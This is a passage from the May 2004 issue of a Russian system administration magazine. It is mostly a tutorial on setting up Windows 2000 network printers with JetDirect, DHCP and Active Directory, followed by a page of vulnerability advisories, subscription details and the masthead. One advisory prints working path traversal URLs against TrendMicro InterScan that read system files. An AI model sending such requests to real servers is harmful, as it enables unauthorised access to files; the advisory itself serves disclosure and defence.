принтера. Из-за отсутствия единой очереди печати невозможно централизованное управление заданиями. Только пользователь, документ которого в настоящее время печатается на принтере, в случае ошибки печати может ее видеть. Наконец, предварительная печать документов осуществляется на рабочей станции пользователя, что увеличивает нагрузку на нее. По этим причинам желательно наличие сервера печати при работе с сетевыми принтерами.

Сервер печати Сервер печати – это компьютер, который управляет связями между принтерами и рабочими станциями в сети, желающими воспользоваться предоставляемыми услугами. В сетях, построенных на основе Microsoft Windows, в качестве сервера печати может быть использован Windows 2000 Professional или Windows 2000 Server. В качестве сервера выгоднее использовать Windows 2000 Server, поскольку Windows 2000 Professional поддерживает всего лишь 10 подключений одновременно и не может осуществлять поддержку клиентов Macintosh или NetWare, если таковые имеются в сети. Принтеры могут соединяться с сервером печати либо по сети, либо напрямую – через параллельный интерфейс, хотя второй вариант менее предпочтителен, поскольку требует значительных затрат процессорного времени на обслуживание порта и физически «привязывает» печатающее устройство к серверу, т.к. кабель, соединяющий LPT-порты сервера и принтера, имеет ограничения по длине. Принтеры, соединяющиеся с сервером печати через USB или IEE1394 (FireWire), позволяют уменьшить нагрузку на процессор и увеличить скорость печати, но несмот-

№5(18), май 2004

ря на это самым популярным способом подключения является сетевое соединение.

Соглашение об именах Имя должно содержать как можно больше информации о принтере, и при этом быть удобным для использования. На рабочих станциях под управлением операционной системы Windows, пользователь имеет дело с двумя именами – именем принтера и сетевым именем. Имя принтера – это имя, назначаемое принтеру во время установки. Длина имени ограничивается 220 символами. Сетевое имя назначается принтеру для использования в сети. Максимальная длина сетевого имени составляет 80 символов, хотя его не рекомендуется делать длиннее 8 символов для обеспечения совместимости с клиентами MS-DOS и Windows 3.x. Некоторые приложения не могут работать с принтерами, у которых полное составное имя (имя компьютера, объединенное с сетевым именем принтера по шаблону \\Server_Name\Printer_Share_ Name) длиннее 31 символа. Чаще всего имя, назначаемое принтеру, представляет собой реальное имя принтера с порядковым номером, если есть несколько принтеров одинаковой модели, например, HP LaserJet 2300 (1), HP LaserJet 2300 (2). Такой способ именования рекомендуется использовать в небольших организациях. В крупных корпорациях принцип именования принтеров может быть другим. Например, названия могут быть даны по именам отделов и офисов, где территориально находится принтер, например, «Краснодар ОКС» или «Ростов АТС-34». Сетевое имя, как отмечено ранее, должно быть более коротким, но при этом не должно терять смысловой нагрузки. Оно чаще всего представляет собой общую характеристику принтера, например, HP2300_1.

Установка и настройка сетевого принтера Теория Для подключения принтера, имеющего USB- или LPT-интерфейс к сети, необходимо использовать JetDirect, который представляет собой небольшой компьютер, снабженный сетевой платой, оперативной памятью, имеющий программное обеспечение – веб-интерфейс, с помощью которого осуществляется настройка. В принтере, имеющем встроенный сетевой интерфейс, находится компьютер, в котором присутствует оперативная память, жесткий диск для обеспечения буферизации заданий и более сложное программное обеспечение, доступ к которому также осуществляется через веб-интерфейс или через панель управления на принтере. Перед тем как начать установку принтера на сервере печати, необходимо выполнить настройку сетевого интерфейса принтера. Настройку удобнее всего производить через веб-интерфейс. Доступ к веб-интерфейсу принтера осуществляется с помощью любого браузера (Internet Explorer, Opera или Netscape Navigator) по IP-адресу или по сетевому имени принтера. Некоторые принтеры имеют заводскую

89


образование предустановку IP-адреса, о чем обязательно написано в инструкции. В том случае если IP-адрес неизвестен, необходимо распечатать конфигурационный лист принтера. В случае если в принтер сетевой интерфейс встроен, то печать осуществляется с помощью выбора соответствующего пункта меню на панели управления принтера. Если сетевой интерфейс не встроен в принтер, т.е. используется JetDirect, то необходимо нажать на кнопку, находящуюся на корпусе Jet Direct, которая инициализирует вывод текущей конфигурации устройства на печать. Конфигурационная страница принтера, имеющего встроенный сетевой интерфейс или JetDirect, содержит следующую информацию: модель и серийный номер принтера, параметры настройки сетевого адаптера, его серийный номер, МАС-адрес, количество распечатанных и застрявших в принтере страниц, настройки протоколов TCP/IP, IPX/SPX, AppleTalk и др. После вывода конфигурационного листа на печать в разделе, посвященном настройкам протокола TCP/IP, необходимо определить IP-адрес сетевого принтера для того, чтобы войти и соединиться с его веб-интерфейсом. Поскольку сеть функционирует на основе протокола TCP/IP, то все остальные протоколы связи в принтере/ Jet Direct можно отключить через веб-интерфейс. В настройках оставшегося протокола необходимо указать сетевое имя принтера, по которому в будущем будет удобно обращаться к веб-интерфейсу принтера. Сетевое имя принтера (host name) должно соответствовать принятому соглашению об именах, например, HP2300_1. Это имя автоматически будет прописано в службе DNS. Если необходимо задать альтернативное сетевое имя принтера, то можно вручную создать соответствующую запись в службе DNS. Также необходимо определить способ получения IPадреса. Для этого нужно выполнить настройку свойств протокола TCP/IP так, чтобы IP-адрес выделялся службой DHCP. В том случае, если служба DHCP не используется, то необходимо на веб-интерфейсе принтера указать статический IP-адрес принтера. Чтобы служба DHCP всегда выделяла один и тот же адрес, необходимо его зарезервировать для данного сетевого устройства. Резервирование адреса осуществляется на основе MAC-адреса сетевого адаптера. MAC-адрес (Medium Access Control) – это уникальное число длиной 48-бит, использующееся для установки соответствия между TCP/IP и адресом канального уровня. Значение MAC-адреса можно найти на конфигурационном листе, веб-интерфейсе принтера или на корпусе принтера/JetDirect. Следующий этап – установка сетевого принтера. На сервере печати сетевой принтер устанавливается в качестве локального устройства с той разницей, что вместо локального порта (параллельного или USB) создается стандартный порт TCP/IP, который имеет два параметра – IP-адрес и название порта. В качестве IP-адреса задается зарезервированный в службе DHCP адрес, если служба DHCP не используется, то указывается статичес-

90

кий IP-адрес, введенный в настройках TCP/IP на веб-интерфейсе принтера. В процессе установки принтера задаются имя принтера и сетевое имя принтера. Оба имени должны соответствовать принятому соглашению об именах. Желательно, чтобы сетевое имя принтера (share name) совпадало с сетевым именем принтера (host name), заданным в веб-интерфейсе. Таким образом, сетевое имя принтера (host name), по которому можно войти в веб-интерфейс, будет совпадать с сетевым именем принтера (share name), по которому будет осуществляться подключение принтера к пользователю. Такая унификация имен дает нам отсутствие путаницы в настройках, обеспечивает простоту визуального восприятия. После установки принтера на сервере печати необходимо убедиться, что в его настройках выбрана опция «List in Active Directory». Для реализации автоматического подключения принтера к пользователям, имеющим право печатать и управлять очередью печати, необходимо опубликовать принтер в службе каталогов Active Directory. В AD для каждого сетевого принтера рекомендуется создать OU (Organization Unit), в котором разместится опубликованный в AD принтер и 2 группы безопасности, определяющие уровни доступа к нему пользователей. В соответствии с принятым соглашением об именах рекомендуется использовать следующий шаблон для создания названий групп. Название первой группы, члены которой могут только выводить задания на печать, рекомендуется строить следующим образом: к сетевому имени принтера через дефис прибавляется слово Print, например, «HP2300_1-Print». Название второй группы строится аналогично, с той разницей, что слово «Print» рекомендуется заменить на словосочетание «Print Managers». Члены второй группы могут управлять очередью печати и принтером. О том, как задаются права на группы, – чуть позже. Подключение сетевых принтеров осуществляется при регистрации пользователя в сети в автоматическом режиме. Пользователю, входящему хотя бы в одну из 2 групп безопасности, осуществляется подключение соответствующего принтера. Если пользователь не входит ни в одну из этих групп, то сценарий отключает принтер у пользователя. Автоматизирование подключения/отключения принтеров осуществляется с помощью сценария регистрации. Сценарий регистрации будет подробно рассмотрен во второй части статьи. Для того чтобы обеспечить подключения по группам, необходимо на сервере печати изменить права на доступ к данному принтеру, удалив из списка объектов (пользователей и групп), которые могут осуществлять печать, группу Everyone (Все) и добавив туда две соответствующие данному принтеру группы. Группе Print необходимо выставить флажок напротив свойства Print (печать), группе Print Managers – Manage Documents (управление документами). Изложив теоретические аспекты установки и настройки сетевого принтера, рассмотрим этот вопрос на практике.


образование Постановка задачи Необходимо подключить принтер HP LaserJet 1200 с помощью сетевого интерфейса к серверу печати. Обеспечить сетевому принтеру статическое выделение IP-адреса 192.168.2.1 службой DHCP. Опубликовать принтер в Active Directory и создать две группы, определяющие различный уровень доступа к принтеру и очереди печати (см. теоретическую часть).

Практика Принтер HP LaserJet 1200 имеет два интерфейса – LPT и USB. Для подключения принтера к сети необходимо использовать JetDirect, который преобразует один из интерфейсов в сетевой. После соединения принтера к JetDirect и подключения получившегося сетевого принтера к сети, необходимо вывести на печать конфигурационный лист. Для этого нажмите на корпусе JetDirect соответствующую кнопку. Анализируя конфигурационный лист, необходимо определить IP-адрес, который получен сетевым

адаптером JetDirect. Воспользовавшись любым браузером, например, Internet Explorer, войдите на веб-интерфейс принтера, вводя к адресной строке IP-адрес, приведенный в листе конфигурации сетевого принтера, в данном случае JetDitect. С помощью веб-интерфейса необходимо выключить все протоколы, кроме TCP/IP. Протокол TCP/IP следует настроить так, чтобы IP-адрес сетевой адаптер получал от службы DHCP, и назначить сетевое имя принтера (host name) в соответствии с поставленной задачей и принятым соглашением о именах – HP1200_1 (см. рис. 1). На этом настройка сетевого интерфейса принтера с помощью веб-интерфейса завершена. Следующим этапом установки сетевого принтера в сети является резервирование для него IP-адреса. Для того чтобы зарезервировать IP-адреса в службе DHCP, выделите папку «Reservation» и, нажав правую кнопку на этой папке, выберете пункт меню «New Reservation». Появится окно (см. рис. 2), в котором необходимо указать имя, IP-адрес и MAC-адрес принтера.

Ðèñóíîê 1

№5(18), май 2004

91


образование На рис. 2 продемонстрировано, что служба DHCP будет выдавать устройству с именем HP1200_1, обладающим сетевым интерфейсом с MAC-адресом 0001e64a49cb, один и тот же IP-адрес – 192.168.2.1.

Ðèñóíîê 3

Ðèñóíîê 2

После настройки службы DHCP и веб-интерфейса можно приступить к установке сетевого принтера на сервере печати. Принтер устанавливается как локальный, с той разницей, что он подключается к стандартному порту TCP/IP. Порт имеет два параметра – имя и IP-адрес. Имя порта образуется исходя из IP-адреса: IP_xxx.xxx.xxx.xxx. Однако рекомендуется сделать так, чтобы имя порта совпадало с сетевым именем принтера. Этот шаг упростит администрирование принтера в будущем. Для установки принтера на сервере печати необходимо выполнить следующее: ! Щелкнуть по кнопке Start, выбрать команду Settings, затем щелкнуть на Printers, чтобы открыть папку Printers; ! Дважды щелкнуть на значок Add Printers, чтобы запустить мастер установки принтера; ! Щелкните по кнопке Next, чтобы мастер Add Printer Wizard начал работу; ! В появившемся окне предлагается сделать выбор способа подключения принтера – в качестве локального или сетевого. Необходимо выбрать опцию Local Printer (локальный принтер) и удалить флажок из поля Automatically Detect My Printer (автоматическое определение принтера); ! В следующем окне необходимо выбрать тип порта. Выберите опцию Create A New Port (создать новый порт), а в раскрывающемся списке – Standard Port TCP/IP (стандартный порт TCP/IP). После этого Windows 2000 запустит мастер Add Standard TCP/IP Printer Port Wizard; ! В появившемся окне необходимо ввести IP-адрес и название порта в соответствии с поставленной задачей (см. рис. 3). Необходимо помнить, что желательно, чтобы принтер был подключен к сети, т.к. после создания порта Windows пытается соединиться с принтером, и в случае возникновения ошибки связи будет запрошена дополнительная информация (см. рис. 4). После успешного соединения с принтером мастер Add Standard TCP/IP Printer Port Wizard заканчивает свою работу;

92

Ðèñóíîê 4

! Выберите устанавливаемый принтер из списка. В том

!

!

!

случае если драйвера принтера не являются стандартными, нажмите на кнопку Have Disk… и укажите путь к драйверу; После установки драйвера в появившемся окне Printer Sharing выберите опцию Share As для того, чтобы сделать принтер доступным для других пользователей сети, и укажите сетевое имя принтера в соответствии с принятым соглашением об именах, например, HP1200_1 (см. рис. 5). Щелкните по кнопке Next; Введите локальное имя принтера (см. рис. 6) и заполните поля, характеризующие принтер, например, его местоположение. Локальное имя принтера также должно удовлетворять принятому соглашению об именах, например, HP LaserJet 1200 (1); По окончании установки принтера вам будет предложено распечатать тестовую страницу.

На этом настройка принтера не закончена: необходимо определить параметры безопасности принтера, для этого в Active Directory необходимо создать две группы безопасности. Члены одной из этих групп смогут только печатать на этом принтере, члены другой – управлять всей очередью печати и состоянием принтера. В соответствии с принятыми правилами наименования групп


образование (см. раздел «Теория») первая группа будет называться HP1200-Print, вторая – HP1200-Print Managers. Поскольку в средних и крупных организациях используется несколько сетевых принтеров, то в AD рекомендуется создать OU, например, Network Printers, в котором будут находиться OU, названия которых совпадают с названиями принтеров. В каждом из этих OU будет содержаться три объекта – сетевой принтер, опубликованный в AD, и две группы безопасности, определяющие уровень доступа к принтеру (см. рис. 7). Наличие такой структуры позволяет реализовать автоматизированное подключение сетевых принтеров тем пользователям, которые имеют права работать с этим принтером.

удалить группу Everyone (все), т.к. в противном случае принтер будет подключаться ко всем пользователям сети, и добавить две группы безопасности, соответствующие данному принтеру, в данном случае HP1200_1-Print и HP1200_1-Print Managers. Для группы HP1200_1-Print необходимо установить в разделе Permissions (разрешения) флажок напротив свойства Print (см. рис .8), а для группы HP1200_1-Print Managers – флажки напротив Print (печать) и Manage Documents (управление документами). Ставить флажок напротив Manage Printers не рекомендуется, поскольку управление принтерами подразумевает возможность изменять свойства принтера, удалять его. По мнению автора, такими привилегиями может обладать только системный администратор.

Ðèñóíîê 7

Ðèñóíîê 5

Ðèñóíîê 8

Ðèñóíîê 6

После окончания настройки нужно выполнить настройку безопасности принтера. Для этого необходимо войти в свойства принтера на сервере печати во вкладку Security (безопасность). В этой вкладке необходимо

№5(18), май 2004

На этом установка и настройка сетевого принтера завершены. В следующей статье будет описан процесс создания сценария, который, основываясь на данных AD, будет во время регистрации пользователя в сети обеспечивать автоматическое подключение/отключение принтеров в зависимости от членства в соответствующих группах безопасности.

93


bugtraq Переполнение стекового буфера в Symantec Norton AntiSpam в sysspam.dll

Переполнение буфера в Symantec Security Check ActiveX в GetPrivateProfileString()

Программа: Symantec Norton AntiSpam 2004. Опасность: Высокая. Описание: Переполнение буфера обнаружено в Norton AntiSpam в sysspam.dll ActiveX-компоненте. Удаленный пользователь может выполнить произвольный код на целевой системе. SymSpamHelper Class (c:\program files\common files\ symantec shared\antispam\symspam.dll) устанавливается по умолчанию и помечен как безопасный для сценариев. Удаленный пользователь может сконструировать HTML, который, когда будет загружен целевым пользователем, вызовет dll через LaunchCustomRuleWizard-метод и представит чрезмерно длинный параметр, чтобы вызвать переполнение стекового буфера. Код будет выполнен с привилегиями целевого пользователя. URL производителя: http://www.symantec.com/antispam. Решение: Установите обновление, доступное через Live Update.

Программа: Symantec Security Check. Опасность: Высокая. Описание: Уязвимость обнаружена в Symantec Security Check в ActiveX-управлении, отвечающем за обнаружение вирусов. Удаленный пользователь может выполнить произвольный код на целевой системе. Удаленный пользователь может сконструировать HTMlфайл, который вызовет переполнение буфера в Symantec RuFSI Utility Class ActiveX control (rufsi.dll) в объекте Symantec.SymVAFileQuery.1' GetPrivateProfileString() функции. Уязвимы системы, на которых предварительно был запущен Symantec Security Check. URL производителя: http://www.symantec.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Переполнение буфера в McAfee FreeScan ActiveX Control Программа: McAfee FreeScan. Опасность: Высокая. Описание: Переполнение буфера обнаружено в McAfee FreeScan ActiveX управлении. Удаленный пользователь может выполнить произвольный код на системе. Удаленный пользователь может сконструировать HTMlфайл, который, когда будет загружен целевым пользователем, вызовет McFreeScan.CoMcFreeScan.1-объект, чтобы получить информацию о целевой системе пользователя, типа имен пути и имени пользователя. Также сообщается, что переполнение буфера обнаружено в параметре ScanParam. Уязвимость может использоваться для выполнения произвольного кода. Уязвимы пользователи, которые предварительно запускали McAfee FreeScan-службу. URL производителя: http://us.mcafee.com/root/mfs/ default.asp?cid=9914 Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Доступ к произвольным файлам в TrendMicro InterScan Программа: TrendMicro InterScan 3.5. Опасность: Средняя. Описание: Уязвимость обнаружена в TrendMicro InterScan VirusWall. Удаленный пользователь может просматривать файлы, расположенные на целевой системе. Пример: http://[target]:8080/ishttpd/localweb/java/?/../../../ ↵ ishttpd.exe http://[target]:8080/ishttpd /localweb/java/?/../../../ ↵ ../../../../../autoexec.bat

URL производителя: http://www.trendmicro.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленное переполнение буфера в eMule Программа: eMule 0.42d. Опасность: Высокая. Описание: Уязвимость обнаружена в eMule в декодировании шестнадцатиричных строк. Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение стекового буфера обнаружено в функции DecodeBase16(), вызываемой в коде веб-сервера и в коде IRC-клиента. Удаленный пользователь, например, может послать специально обработанную IRC SENDLINK-команду целевому пользователю, чтобы выполнить произвольный код на целевой системе. URL производителя: http://www.emule-project.net. Решение: Установите обновленную версию программы: http://www.emule-project.net/home/perl/general.cgi?l= 1&rm=download.

Переполнение буфера при обработке имени файла в Perl и ActivePerl Программа: ActivePerl 5.x Perl 5.x. Опасность: Критическая. Описание: Уязвимость обнаружена в Perl и ActivePerl. Злонамеренный пользователь может скомпрометировать уязвимую систему. Злонамеренный пользователь может представить чрезмерно большое имя файла с обратными слешами в конце, чтобы вызвать переполнение буфера в win32_stat()функции и выполнить произвольный код на уязвимой системе. Уязвимость может эксплуатироваться пользователями, способными передать специально сформированный путь к Perl-сценарию (например, через веб-сервер). URL производителя: http://public.activestate.com. Решение: Установите соответствующие обновления: 1. Perl 5.9.x development branch: http://public.activestate.com/ cgi-bin/perlbrowse?patch=22466 2. Perl 5.8.x maintenance branch: http://public.activestate.com/ cgi-bin/perlbrowse?patch=22552 Составил Александр Антипов

94


подписка на II полугодие 2004 Российская Федерация ! Подписной индекс: 81655 !

!

!

Каталог агентства «Роспечать» Подписной индекс: 87836 Объединенный каталог «Пресса России» Адресный каталог «Подписка за рабочим столом» Адресный каталог «Библиотечный каталог» Альтернативные подписные агентства: Агентство «Интер-Почта» (095) 500-00-60, курьерская доставка по Москве Агентство «Вся Пресса» (095) 787-34-47 Агентство «Курьер-Прессервис» Подписка On-line http://www.arzy.ru http://www.gazety.ru http://www.presscafe.ru

! Узбекистан – по каталогу «Davriy nashrlar» российские

! !

!

!

СНГ В странах СНГ подписка принимается в почтовых отделениях по национальным каталогам или по списку номенклатуры АРЗИ: ! Казахстан – по каталогу «Российская Пресса» через ОАО «Казпочта» и ЗАО «Евразия пресс» ! Беларусь – по каталогу изданий стран СНГ через РГО «Белпочта» (220050, г.Минск, пр-т Ф.Скорины, 10)

!

издания через агентство по распространению печати «Davriy nashrlar» (7000029, Ташкент, пл.Мустакиллик, 5/3, офис 33) Азербайджан – по объединенному каталогу российских изданий через предприятие по распространению печати «Гасид» (370102, г. Баку, ул. Джавадхана, 21) Армения – по списку номенклатуры «АРЗИ» через ГЗАО «Армпечать» (375005, г.Ереван, пл.Сасунци Давида, д.2) и ЗАО «Контакт-Мамул» (375002, г. Ереван, ул.Сарьяна, 22) Грузия – по списку номенклатуры «АРЗИ» через АО «Сакпресса» ( 380019, г.Тбилиси, ул.Хошараульская, 29 ) и АО «Мацне» (380060, г.Тбилиси, пр-т Гамсахурдия, 42) Молдавия – по каталогу через ГП «Пошта Молдавей» (МД-2012, г.Кишинев, бул.Штефан чел Маре, 134) по списку через ГУП «Почта Приднестровья» (МD-3300, г.Тирасполь, ул.Ленина, 17) по прайслисту через ООО Агентство «Editil Periodice» (2012, г.Кишинев, бул. Штефан чел Маре, 134) Подписка для Украины: Киевский главпочтамп Подписное агентство «KSS» Телефон/факс (044)464-0220

Подписные индексы:

81655 по каталогу агентства «Роспечать»

87836 по каталогу агентства «Пресса России»

№5(18), май 2004

95


СИСТЕМНЫЙ АДМИНИСТРАТОР №5(18), Май, 2004 год РЕДАКЦИЯ Исполнительный директор Владимир Положевец Ответственный секретарь Наталья Хвостова sekretar@samag.ru Технический редактор Владимир Лукин Редактор Андрей Бешков Научно-технические консультанты Валерий Цуканов Дмитрий Горяинов РЕКЛАМНАЯ СЛУЖБА тел./факс: (095) 928-8253 Константин Меделян reсlama@samag.ru Верстка и оформление imposer@samag.ru maker_up@samag.ru Дизайн обложки Николай Петрочук 103045, г. Москва, Ананьевский переулок, дом 4/2 стр. 1 тел./факс: (095) 928-8253 Е-mail: info@samag.ru Internet: www.samag.ru РУКОВОДИТЕЛЬ ПРОЕКТА Петр Положевец УЧРЕДИТЕЛИ Владимир Положевец Александр Михалев ИЗДАТЕЛЬ ЗАО «Издательский дом «Учительская газета» Отпечатано типографией ГП «Московская Типография №13» Тираж 7000 экз. Журнал зарегистрирован в Министерстве РФ по делам печати, телерадиовещания и средств массовых коммуникаций (свидетельство ПИ № 77-12542 от 24 апреля 2002г.) За содержание статьи ответственность несет автор. За содержание рекламного обьявления ответственность несет рекламодатель. Все права на опубликованные материалы защищены. Редакция оставляет за собой право изменять содержание следующих номеров.

96

ЧИТАЙТЕ В СЛЕДУЮЩЕМ НОМЕРЕ: VMWare со всеми удобствами

Оптимизация работы PHP при помощи PHPAccelerator

В данной статье будет рассказано, как добиться увеличения быстродействия гостевых систем с помощью VMWare Tools. Также будут освещены некоторые полезные возможности, существенно облегчающие взаимодействие между гостевой и основной системой.

В статье «Кэширование веб-сценариев» февральского номера журнала была затронута тема оптимизации сайтов. Рассмотренный способ является несколько трудоёмким. Одним из более эффективных решений является PHPAccelerator. О нём, собственно, и пойдет разговор в данной статье.

Специальные переменные в Perl Одним из достоинств языка Perl является то, что он предоставляет программисту огромную свободу выбора как средств решения той или иной задачи, так и стиля программирования. Порой конструкции, для создания которых на Паскале требуется код в полэкрана, на Perl могут быть записаны в одну-две строки и при этом полностью сохранить читабельность. И среди средств, обеспечивающих такие возможности, особое место занимают встроенные переменные, которые и будут рассмотрены в данной статье.

Mutt как инструмент администратора Mutt – это функциональный почтовый клиент с текстовым интерфейсом, который представляет собой классический MUA, не обладающий функциями MTA и MDA. Это значит, что Mutt работает с почтой, которая уже находится в почтовом ящике пользователя, предоставляя возможность удобно этой почтой оперировать (читать, отвечать на сообщения и прочее). В то же время он не может самостоятельно перемещать почту между машинами и доставлять почту. Большинство известных нам почтовых клиентов представляют собой некие «комбайны», которые сочетают в себе функции MUA, MTA и MDA, к примеру, The Bat и Outlook, но на практике Mutt намного более гибок, позволяя выбирать те инструменты, к которым пользователь привык.

Эффективный почтовый сервер на базе MTA exim В этой статье пойдет речь о создании эффективного почтового сервера на базе MTA exim. Первый вопрос, который, конечно же, приходит в голову: «А почему именно exim?». Отвечают на этот вопрос по-разному, поэтому я скажу, что меня так привлекает в exim: ! логичная схема обработки почты; ! высокая скорость работы; ! удобный формат конфигурационного файла; ! широчайшие возможности по поиску каких-либо значений в файлах, СУБД, LDAP; ! встроенная поддержка smtp-аутентификации; ! небольшое число найденных уязвимостей; ! очень большое количество возможностей, а также чрезвычайная гибкость; ! возможность полной замены sendmail. На мой взгляд, exim является весьма и весьма удачным продуктом, не зря он используется по умолчанию в ОС Debian GNU Linux. Два больших минуса exim состоят в том, что отсутствует качественная документация на русском языке и возникает необходимость правки Makefile для включения тех или иных возможностей exim. Итак, для начала подумаем, что должна содержать «идеальная» с точки зрения удобства администрирования и использования почтовая система.


Turn static files into dynamic content formats.

Create a flipbook
Issuu converts static files into: digital portfolios, online yearbooks, online catalogs, digital photo albums and more. Sign up and create your flipbook.